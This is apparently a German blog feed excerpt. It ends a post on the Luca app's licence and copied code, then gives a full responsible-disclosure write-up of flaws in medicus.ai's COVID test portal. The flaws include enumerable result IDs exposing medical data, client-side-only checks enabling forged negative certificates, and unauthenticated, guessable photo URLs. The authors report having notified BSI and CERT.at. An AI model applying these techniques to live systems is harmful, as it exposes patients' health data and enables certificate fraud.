&lt;p&gt;Ziel erfüllt: Diese handgestrickte Lizenz schreckt Menschen ab, den Code der #LucaApp öffentlich zu beurteilen oder gar zu verbessern.&lt;/p&gt;
&lt;p&gt;Wir würden wirklich gern wissen, ob das überhaupt vor Jurist*innen stand hält.&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/luca-2/ExwckUrXMAIu58D.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/luca-2/ExwckUrXMAIu58D.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;hr&gt;
&lt;p&gt;Das war bisher nur das Android-Repo und das war schon so ein Auffahrunfall. Dabei haben wir uns noch nicht einmal den Code angeschaut 🙃&lt;/p&gt;
&lt;p&gt;Nach dieser Lizenz haben wir auch eigentlich keine Lust mehr.&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/luca-2/ExweXkJWgAAkqez.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/luca-2/ExweXkJWgAAkqez.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;hr&gt;
&lt;p&gt;Ausserdem gilt weiterhin:&lt;/p&gt;
&lt;blockquote class=&#34;twitter-tweet&#34; data-align=&#34;center&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Ausserdem glaube wir nicht, dass noch eine App die Corona-Pandemie beenden wird. Eine App lenkt nur von der Relevanz richtiger Maßnahmen ab. Die Länder, die die Pandemie quasi beendet haben, haben keine Apps. Es fehlt nicht an Apps, sondern an Ressourcen im Gesundheitswesen. Den Gesungheitsämter einfach noch mehr Daten zu schicken und noch eine zusätzliche Software einzuführen bringt nichts, wenn so schon keine Kontaktverfolgung mehr möglich ist.&lt;/p&gt;&amp;mdash; zerforschung (@zerforschung) &lt;a href=&#34;https://twitter.com/zerforschung/status/1368329764709236737&#34;&gt;March 6, 2021&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;
&lt;hr&gt;
&lt;p&gt;Aus den Drukos: Sie haben Open-Source-Code (BSD-Lizenz) einfach übernommen. Außer dem Entfernen von Lizenzhinweisen/Kommentaren und Whitespaceänderungen wurde nichts geändert. Damit wurde vmtl. gegen dessen Lizenz verstossen.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/thesimj/jBaseZ85/blob/master/src/main/java/com/bubelich/jBaseZ85.java&#34;&gt;https://github.com/thesimj/jBaseZ85/blob/master/src/main/java/com/bubelich/jBaseZ85.java&lt;/a&gt; vs. &lt;a href=&#34;https://gitlab.com/lucaapp/android/-/blob/master/Luca/app/src/main/java/de/culture4life/luca/util/Z85.java&#34;&gt;https://gitlab.com/lucaapp/android/-/blob/master/Luca/app/src/main/java/de/culture4life/luca/util/Z85.java&lt;/a&gt;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/luca-2/Exw8vYhXEAEtYLh.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/luca-2/Exw8vYhXEAEtYLh.jpg&#34;
         alt=&#34;Side-by-side Diff des Original-Codes und des Luca-Codes&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Side-by-side Diff des Original-Codes und des Luca-Codes&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;Für mehr Spaß mit Zerforschung kann man uns hier unterstützen&lt;/a&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Wir wissen, wie du diesen Winter getestet wurdest. Ein Corona-Drama in sechs Akten</title>
      <link>https://zerforschung.org/posts/medicus/</link>
      <pubDate>Thu, 18 Mar 2021 05:00:00 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/medicus/</guid>
      <description>&lt;p&gt;Wie wir nur mal kurz einen Corona-Test machen wollten und versehentlich in ein Nest voller Sicherheitslücken gefallen sind.&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/m/medicus/vorhang.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/m/medicus/vorhang.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;p&gt;Seit dem 8. März gibt es in Berlin »kostenlose Bürger*innen-Tests«. Über das Portal &lt;code&gt;test-to-go.berlin&lt;/code&gt; kann man ein Testzentrum finden und einen Termin buchen.&lt;/p&gt;
&lt;p&gt;Schon kurz nach Veröffentlichung der Testzentren-Übersicht der Berliner Senatsverwaltung für Gesundheit, Pflege und Gleichstellung waren wir irritiert: Alles an diesem Online-Portal machte auf uns den Eindruck, doch etwas hastig zusammengestrickt worden zu sein – und das nach nur einem Jahr Pandemie.&lt;/p&gt;
&lt;blockquote class=&#34;twitter-tweet&#34; data-align=&#34;center&#34; data-cards=&#34;hidden&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Anscheinend ist Internet für das &lt;a href=&#34;https://twitter.com/SenGPG?ref_src=twsrc%5Etfw&#34;&gt;@SenGPG&lt;/a&gt; immer noch Neuland und sie haben noch nie von Domainsquatting gehört, denn jetzttesten​.​berlin sowie tests-to-go​.​berlin (&amp;amp; test2go​ &amp;amp; tests2go &amp;amp; test-togo …) sind noch frei.&lt;br&gt;Das ist besonders bei mündlicher Weitergabe problematisch. &lt;a href=&#34;https://t.co/Ai9avSldvo&#34;&gt;pic.twitter.com/Ai9avSldvo&lt;/a&gt;&lt;/p&gt;&amp;mdash; zerforschung (@zerforschung) &lt;a href=&#34;https://twitter.com/zerforschung/status/1368702863019569153?ref_src=twsrc%5Etfw&#34;&gt;March 7, 2021&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt; 
&lt;p&gt;Da wir ohnehin einen Test machen wollten, konnten wir dieses neue Angebot gleich mal ausprobieren.&lt;/p&gt;
&lt;p&gt;Am Testzentrum angekommen wunderten wir uns, dass wir &lt;em&gt;sehr&lt;/em&gt; energisch auf die Online-Registrierung hingewiesen wurden.
Wir standen doch schon am Eingang!
Aufgrund der Menge persönlicher Daten, die in der WebApp abgefragt wurden, hätten wir eine Online-Erfassung eigentlich gern vermieden.&lt;/p&gt;
&lt;p&gt;Nach dem Test freuten wir uns nicht nur über das negative Ergebnis – sondern guckten dabei, wie üblich, auch kurz mit auf den Datenverkehr. Bei einigen URLs hatten wir schon im ersten Moment ein mulmiges Gefühl. Das mulmige Gefühl würde in den nächsten Minuten blankem Entsetzen weichen.&lt;/p&gt;
&lt;div class=&#34;shortcode-warningtextbox&#34;&gt;
	Achtung: Bitte die Hände vor dem Lesen des Artikels waschen und desinfizieren, es besteht ein akutes Risiko wiederholter Facepalms.
&lt;/div&gt;
&lt;h2 id=&#34;erster-akt-graf-zahl-und-die-test-ergebnisse&#34;&gt;Erster Akt: Graf Zahl und die Test-Ergebnisse&lt;/h2&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/m/medicus/countcount.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/m/medicus/countcount.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;p&gt;Eine Viertelstunde nach dem Test erhielten wir eine E-Mail mit einem Link zum Testergebnis von &lt;strong&gt;21Dx&lt;/strong&gt;, der Betreiberin des Testzentrums. Dieser Link führte uns auf die Domain &lt;code&gt;21dx.medicus.ai&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Wie aber hängen medicus.ai und 21Dx zusammen? Das Wiener Startup &lt;code&gt;medicus.ai&lt;/code&gt; bietet mit ihrer Software &lt;a href=&#34;https://safeplay.co&#34;&gt;SafePlay&lt;/a&gt; eine Komplettlösung für Testzentren, mittels derer man sich für Tests registrieren und hinterher die Ergebnisse abrufen kann. Unsere Berliner Testzentrum-Betreiberin 21Dx nutzt diese &lt;em&gt;Software as a Service&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Wir wollen jetzt unsere eigenen Testergebnisse einsehen und folgen dem Link auf &lt;code&gt;21dx.medicus.ai&lt;/code&gt;. Nach einem Login erscheint die folgende Seite mit guten Nachrichten für uns:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/medicus/testergebnis-negativ-screenshot.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/medicus/testergebnis-negativ-screenshot.png&#34;
         alt=&#34;Negatives Testergebnis im Webinterface von 21dx.medicus.ai&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Negatives Testergebnis im Webinterface von 21dx.medicus.ai&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Viel interessanter aber: Neben der Online-Anzeige lässt sich das Ergebnis auch als PDF herunterladen, falls man es ausdrucken möchte oder etwas benötigt, das besonders offiziellen Eindruck macht:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/medicus/testergebnis-negativ-pdf.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/medicus/testergebnis-negativ-pdf.png&#34;
         alt=&#34;Negatives Testergebnis als PDF&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Negatives Testergebnis als PDF&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Wie immer lassen wir bei spannenden Webseiten die Netzwerk-Ansicht der Entwicklertools im Browser offen. Manchmal entdecken wir dort interessante Dinge – so leider auch hier.&lt;/p&gt;
&lt;p&gt;Die Anfrage zum Herunterladen des PDFs geht an &lt;code&gt;/api/web/v1/results/export-patient-specific-result-file?report_id=12345&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Kurioserweise wird anstatt einer PDF-Datei ein JSON zurückgeliefert, welches den Datei-Inhalt als data-URI verpackt:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;code&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;200&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;success&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;:{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;fileName&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Vorname_Nachname_Abrufunixtimestamp.pdf&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;file&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;data:application/pdf;base64,…&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Wie oben zu sehen, enthält die PDF-Datei nicht nur den Befund, sondern alle bei der Registrierung hinterlegten Daten:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Vorname&lt;/li&gt;
&lt;li&gt;Nachname&lt;/li&gt;
&lt;li&gt;Geschlecht&lt;/li&gt;
&lt;li&gt;Adresse
&lt;ul&gt;
&lt;li&gt;Straße&lt;/li&gt;
&lt;li&gt;Hausnummer&lt;/li&gt;
&lt;li&gt;Postleitzahl&lt;/li&gt;
&lt;li&gt;Ort&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Geburtsdatum&lt;/li&gt;
&lt;li&gt;Staatsbürgerschaft&lt;/li&gt;
&lt;li&gt;Mobilfunknummer&lt;/li&gt;
&lt;li&gt;E-Mail-Adresse&lt;/li&gt;
&lt;li&gt;Probentyp&lt;/li&gt;
&lt;li&gt;Datum und Uhrzeit der Probenahme&lt;/li&gt;
&lt;li&gt;Datum und Uhrzeit der Ergebnisbereitstellung&lt;/li&gt;
&lt;li&gt;Befund&lt;/li&gt;
&lt;li&gt;Optional: Reisepass/Ausweis-Nummer&lt;/li&gt;
&lt;li&gt;Optional: Abweichender Aufenthaltsort in den nächsten zwei Wochen
&lt;ul&gt;
&lt;li&gt;Straße&lt;/li&gt;
&lt;li&gt;Hausnummer&lt;/li&gt;
&lt;li&gt;Postleitzahl&lt;/li&gt;
&lt;li&gt;Ort&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Der &lt;code&gt;?report_id=12345&lt;/code&gt;-Parameter sah schon ziemlich verdächtig aus. Üblicherweise würde man für so etwas eine &lt;a href=&#34;https://de.wikipedia.org/wiki/Universally_Unique_Identifier&#34;&gt;UUID&lt;/a&gt; verwenden, also einen langen, zufälligen Wert – und nicht einfach nur eine Zahl.&lt;/p&gt;
&lt;p&gt;Und leider stellte sich heraus: Ändert man die Zahl im Parameter, hat man Zugriff auf die Testergebnis-PDFs anderer Menschen. Dazu muss man noch nicht mal eine bestimmte Test-ID erraten, da die Tests einfach aufsteigend durchnummeriert sind.&lt;/p&gt;
&lt;p&gt;Spätestens jetzt wurden wir nervös. Bei personenbezogenen Daten oder gar medizinischen Daten dürfen Sicherheitslücken nicht vorkommen, erst recht nicht derart triviale. So etwas muss umgehend gemeldet werden, um das Desaster schnell und effektiv zu beseitigen. Deshalb haben wir zusammen mit dem &lt;a href=&#34;https://www.ccc.de&#34;&gt;Chaos Computer Club&lt;/a&gt; das BSI informiert. &lt;a href=&#34;https://epicenter.works&#34;&gt;epicenter.works&lt;/a&gt; übernahm die Kommunikation mit dem CERT.at, da medicus.ai in Österreich sitzt.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.ccc.de/de/updates/2021/corona-testergebnisse&#34;&gt;Linus Neumann vom CCC sagte&lt;/a&gt; dazu:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;»Diese Art von Schwachstellen sind ein Klassiker, vor dem immer wieder gewarnt wird. Wer sich auch nur im Entferntesten mit IT-Sicherheit auseinander setzt, macht solche Fehler einfach nicht.«&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;zweiter-akt-brian-nein-ich-bin-brian-nein-ich&#34;&gt;Zweiter Akt: Brian? Nein, ich bin Brian. Nein, ich!&lt;/h2&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/medicus/lifeofbrian.gif&#34; alt=&#34;Life of Brian&#34;&gt;&lt;/p&gt;
&lt;p&gt;Bei der Registrierung muss man seinen Namen, Adresse, E-Mail-Adresse und Telefonnummer angeben.
Tatsächlich wird im Testzentrum der Ausweis gefordert, der dann mit den registrierten Daten verglichen wird.&lt;/p&gt;
&lt;p&gt;Im Testportal lassen sich jederzeit die angegebenen Adressdaten, Reisepass/Ausweis-Nummer und der eventuell abweichende Aufenthaltsort verändern. Das ist auch durchaus praktisch, um bei weiteren Tests in der Zukunft nicht alles von vorn eingeben zu müssen.&lt;/p&gt;
&lt;p&gt;Wir waren dann nur sehr erstaunt, als wir nach einer Adressänderung im Testportal unser Befund-PDF erneut heruntergeladen haben und dort die gerade aktualisierten Daten auftauchten.&lt;/p&gt;
&lt;p&gt;Wenn sich schon die Adressen ändern lassen, vermuteten wir, dass der Name vielleicht doch auch betroffen sein könnte – obwohl dieser eigentlich in der Oberfläche als nicht bearbeitbar dargestellt wird.&lt;/p&gt;
&lt;p&gt;Deaktiviert man diese Prüfung im Browser oder sendet man eine passende Anfrage direkt an die API, werden die Änderungen tatsächlich nicht nochmal vom Testportal überprüft. Wir können also den Namen ändern oder Pflichtfelder einfach leer lassen.&lt;/p&gt;
&lt;p&gt;Auch nach dieser Namens- und Adressänderung lassen sich neue Befund-PDFs herunterladen. Damit ließen sich mit einem negativen Test problemlos weitere negative Test-Befunde mit beliebigen Namen und beliebigen Adressen für andere Leute erstellen.&lt;/p&gt;
&lt;p&gt;So wäre es auch möglich, ein negatives Testzertifikat für Donald Duck zu bekommen, &lt;a href=&#34;https://www.ndr.de/nachrichten/niedersachsen/Corona-Kontaktlisten-Viel-Arbeit-wenig-Nachfrage,gaestelisten100.html&#34;&gt;der ja bekanntermaßen in sehr vielen Restaurants unterwegs ist.&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;dritter-akt-und-wie-sieht-es-in-ihrem-unternehmen-aus&#34;&gt;Dritter Akt: Und wie sieht es in Ihrem Unternehmen aus?&lt;/h2&gt;
&lt;p&gt;Nachdem die Lücke aus dem ersten Akt gemeldet war, hat medicus.ai sie geschlossen. Wir hatten erstmal genug davon, versehentlich Corona-Portale zu zerforschen und wollten eigentlich nur noch schlafen. Da sind wir noch auf ein Detail gestoßen:&lt;/p&gt;
&lt;p&gt;Medicus.ai betreibt auch ein Dashboard, auf dem sich Statistiken über die Anzahl der positiven, negativen und ungültigen Tests pro Testzentrum abrufen lassen.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/medicus/21dx-analytik.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/medicus/21dx-analytik.png&#34;
         alt=&#34;Screenshot aus dem Analytik Dashboard&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Screenshot aus dem Analytik Dashboard&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Zudem lässt sich der dargestellte Zeitraum auf die Sekunde genau einschränken.
Diese statistischen Daten sind sehr interessant – und machen auf Anhieb keinen brisanten Eindruck. Allerdings kann man auf der Plattform die Daten nach Testzeiträumen filtern – und den Filter sekundengenau einstellen. Wenn wir also Donald Duck beobachten, wie er um 14:42 das Testzentrum verlässt, können wir hinterher sein Ergebnis über das Dashboard herleiten. Die Ergebnisse können so leicht deanonymisiert werden.&lt;/p&gt;
&lt;p&gt;Über das Statistik-Dashboard lässt sich auch nach Test-Betreiber filtern. Darunter finden sich nicht nur mobile Teams und Testzentren, sondern auch Firmen. Wir vermuten, dass ██████ und ██████████████ nicht wollen, dass ihre Test-Statistiken öffentlich sind.&lt;/p&gt;
&lt;p&gt;Der Zugang zum Dashboard war mit einem Login versehen – leider haben auch hier die Zugangsdaten unserer Registrierung wunderbar funktioniert. Es wurde also nicht unterschieden zwischen zu testenden Personen und Mitarbeiter*innen, für die diese statistischen Daten eigentlich gedacht waren.&lt;/p&gt;
&lt;h2 id=&#34;vierter-akt-kann-ich-den-test-noch-einmal-genauer-sehen&#34;&gt;Vierter Akt: Kann ich den Test noch einmal genauer sehen?&lt;/h2&gt;
&lt;p&gt;Dadurch, dass wir über das Dashboard sekundengenau auf die Statistiken zugreifen können, wird auch ein anderes Problem größer, welches wir vorher für nicht sehr kritisch hielten:&lt;/p&gt;
&lt;p&gt;Am Eingang des Test-Zentrums erhält man nach dem Vorzeigen des eigenen QR-Codes und des Ausweises zur Identitätsprüfung einen frischen QR-Code auf einem Stück Papier, den man beim Abstrich wieder abgibt.
Nach dem Test wird dieser QR-Code und der Teststreifen abfotografiert und das Bild auf den Servern von medicus.ai abgelegt.&lt;/p&gt;
&lt;p&gt;Die URL zum Bild hat ein einheitliches Format und unterscheidet sich lediglich an drei Stellen: die ID des Testzentrums, die User-ID der*des Getesteten und dem Timestamp des Testergebnis. Durch das Problem aus Akt 3 lässt sich die ID des Testzentrums einfacher raten und der sekundengenaue Zeitstempel der Testergebnisse ermitteln. Die User-ID der*des Getesteten ist aufsteigend und kann daher durchprobiert werden.
Zudem ist das Foto nicht durch weitere Authentifizierung geschützt. Wer die URL kennt (oder errät) hat also Zugriff.&lt;/p&gt;
&lt;p&gt;Nun sollte so ein Foto eines Ergebnisses auf einem Teststreifen nicht weiter problematisch sein – nur haben wir zumindest in den Berliner Testzentren von 21Dx Fotos gesehen, bei denen handschriftlich der Name der getesteten Person unter dem QR-Code notiert wurde.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/medicus/teststreifen.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/medicus/teststreifen.png&#34;
         alt=&#34;&amp;amp;lsquo;Beweisfoto&amp;amp;rsquo; des negativen Teststreifens&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;&amp;lsquo;Beweisfoto&amp;rsquo; des negativen Teststreifens&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Besonders brisant: Die Bilder werden im User-Interface für Testlinge gar nicht angezeigt.
Warum die URL via API ausgeliefert wird, erschließt sich uns nicht.&lt;/p&gt;
&lt;p&gt;Auch dieses Problem haben wir gemeldet.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Update: Seit das Problem behoben wurde, wird statt der URL zum Foto nun die Bilddatei selbst als base64 encoded data-url übertragen – ähnlich wie bei dem Befund-PDF.
&lt;/div&gt;
&lt;h2 id=&#34;interlude-der-leidige-datenschutz--eine-auftragsdatenverarbeitungsparty&#34;&gt;Interlude: Der leidige Datenschutz / Eine Auftragsdatenverarbeitungsparty&lt;/h2&gt;
&lt;p&gt;Als wären diese ganzen wirklich technischen Probleme nicht genug, sind uns auch &amp;ldquo;ganz klassische&amp;rdquo; Datenschutzprobleme aufgefallen:&lt;/p&gt;
&lt;p&gt;Das Testportal von 21Dx bei medicus.ai liegt hinter Cloudflare, d.h. alle Testergebnisse und personenbezogenen Daten werden einmal durch ein US-Unternehmen geleitet.&lt;/p&gt;
&lt;p&gt;Ebenfalls sind Tracking-Skripte von sowohl Google als auch dem Zahlungsdienstleister Stripe eingebunden, die jeden Seitenaufruf analysieren.&lt;/p&gt;
&lt;p&gt;Alle drei tauchen nicht in der &lt;a href=&#34;https://21dx.medicus.ai/#/privacy_policy&#34;&gt;Datenschutzerklärung von &lt;code&gt;21dx.medicus.ai&lt;/code&gt;&lt;/a&gt; auf.&lt;/p&gt;
&lt;p&gt;Links in Mails werden über den Mail-Analytics-Service von Mandrill weitergeleitet.&lt;/p&gt;
&lt;p&gt;Außerdem gibt es in der Oberfläche keine Möglichkeit, den eigenen Account zu löschen, dafür wäre dann wohl ein DSGVO-Löschantrag per E-Mail nötig?&lt;/p&gt;
&lt;p&gt;Auch das Portal &lt;code&gt;test-to-go.berlin&lt;/code&gt; der Senatsverwaltung für Gesundheit, Pflege und Gleichstellung des Landes Berlin setzt Google Analytics ein und lädt Schriftarten von Google.
Hier ist es aber nicht so, dass diese nicht in der &lt;a href=&#34;https://test-to-go.berlin/datenschutz/&#34;&gt;Datenschutzerklärung von test-to-go.berlin&lt;/a&gt; stehen würden.
Stattdessen stehen dort viel mehr Dienste, als überhaupt genutzt werden:
Zum Beispiel wird laut Datenschutzerklärung auf der Webseite Spotify eingebunden, ebenso wie Vimeo und YouTube.&lt;/p&gt;
&lt;!-- TODO: Update: Der [rbb hat diesem Thema einen ausführlicheren Artikel gewidmet](LINK) --&gt;
&lt;h2 id=&#34;fünfter-akt-ein-test-am-wörthersee&#34;&gt;Fünfter Akt: Ein Test am Wörthersee.&lt;/h2&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/medicus/schlosswoerthersee.gif&#34; alt=&#34;Schloss am Wörthersee&#34;&gt;&lt;/p&gt;
&lt;p&gt;21Dx ist nicht der einzige Testzentren-Betreiber der SafePlay von medicus.ai einsetzt. Bei unserer Recherche sind wir u.a. auf die FH Kärnten gestoßen die ihren Mitarbeiter*innen und Studierenden COVID-19-Tests anbietet. Auch hier traten die gleichen Probleme auf, wie bei der SafePlay Instanz von 21Dx. Deswegen ist davon auszugehen, dass auch andere Testzentren-Betreiberfirmen, welche die Software von medicus.ai einsetzen, betroffen waren.&lt;/p&gt;
&lt;h2 id=&#34;sechster-akt-test-nur-in-rosa-und-hellblau&#34;&gt;Sechster Akt: Test nur in rosa und hellblau?!&lt;/h2&gt;
&lt;p&gt;Aber wie kann man sich überhaupt testen lassen? Dafür hat die Berliner Senatsverwaltung die bereits eingangs erwähnte Webseite &lt;a href=&#34;https://test-to-go.berlin&#34;&gt;https://test-to-go.berlin&lt;/a&gt; einrichten lassen.
Dort findet man verschiedene Testzentren. Bei manchen muss man vorher einen Termin vereinbaren, bei anderen nicht.
Bei Berliner Testzentren von 21Dx, die eine Terminbuchung voraussetzen, findet die Terminvergabe zusätzlich über das Portal &amp;ldquo;samedi&amp;rdquo; statt.
Also haben wir auch versucht, uns dort einen Termin zu besorgen.
Als wir dort unsere Daten eingeben wollten, sahen wir diese Auswahl:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/medicus/anrede1.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/medicus/anrede1.png&#34;
         alt=&#34;Auswahlfeld für die Anrede bei samedi Testbuchungsportal&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Auswahlfeld für die Anrede bei samedi Testbuchungsportal&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Doch was ist daran falsch?&lt;br&gt;
Bereits seit 2013 gibt es die Option, den Geschlechtseintrag offen zu lassen („kein Eintrag“).
Seit Ende 2018 gibt es in Deutschland zudem die Möglichkeit, beim Eintrag ins Personenstandsregister außer den Geschlechtern „männlich“ und „weiblich“ auch die Option „divers“ zu wählen, die sogenannte „Dritte Option“.
Seitdem gibt es – auch in Berlin – viele Menschen, die diese Optionen nutzen.
&lt;a href=&#34;https://www.antidiskriminierungsstelle.de/DE/ThemenUndForschung/Geschlecht/Dritte_Option/Dritte_Option_node.html&#34;&gt;Die Antidiskriminierungsstelle des Bundes weist darauf hin, dass es einen Verstoß gegen das AGG ist, falls man bei Registrierungen nur die Möglichkeit hat, zwischen Mann/Frau bzw. Herr/Frau zu wählen.&lt;/a&gt;&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Update: Bei der Registrierung über samedi wird inzwischen das Geschlecht nicht mehr abgefragt. 👏
&lt;/div&gt;
&lt;p&gt;Dieser Fehler wird nicht nur im Testtermin-Buchungsportal sondern auch im Impftermin-Buchungsportal bei Doctolib begangen:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/medicus/anrede2.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/medicus/anrede2.png&#34;
         alt=&#34;Auswahlfeld für die Anrede im Doctolib Impfbuchungsportal&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Auswahlfeld für die Anrede im Doctolib Impfbuchungsportal&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Dort ist das Problem übrigens noch schlimmer: Denn im Gegensatz zu den Testzentren, bei denen manche keine Terminbuchung und damit Geschlechterauswahl voraussetzen, ist das bei den Impfzentren zwingend erforderlich.&lt;/p&gt;
&lt;h2 id=&#34;fazit&#34;&gt;Fazit&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;All diese Dinge dürfen nicht passieren.&lt;/strong&gt; Wirklich nicht. Wenn wir als Gesellschaft die Eindämmung der Pandemie ohnehin bereits unnötigerweise über ein Jahr hinauszögern, die Impfung schleppend anläuft und auch erst jetzt offene Testmöglichkeiten für alle geschaffen werden, dann darf es &lt;em&gt;wirklich&lt;/em&gt; nicht dazu kommen, dass selbst die grundlegenden Rahmenbedingungen für Tests so dilettantisch erledigt werden.&lt;/p&gt;
&lt;p&gt;Tests können ein sehr wirksames Mittel in der Pandemiebekämpfung sein, wenn sie für alle verfügbar und besonders leicht zugänglich sind. Sie dürfen niemanden ausschließen und müssen so angelegt sein, dass die Menschen, die sich testen lassen wollen, sich nicht unnötig gestresst fühlen – und vor allem keine Angst davor haben.&lt;/p&gt;
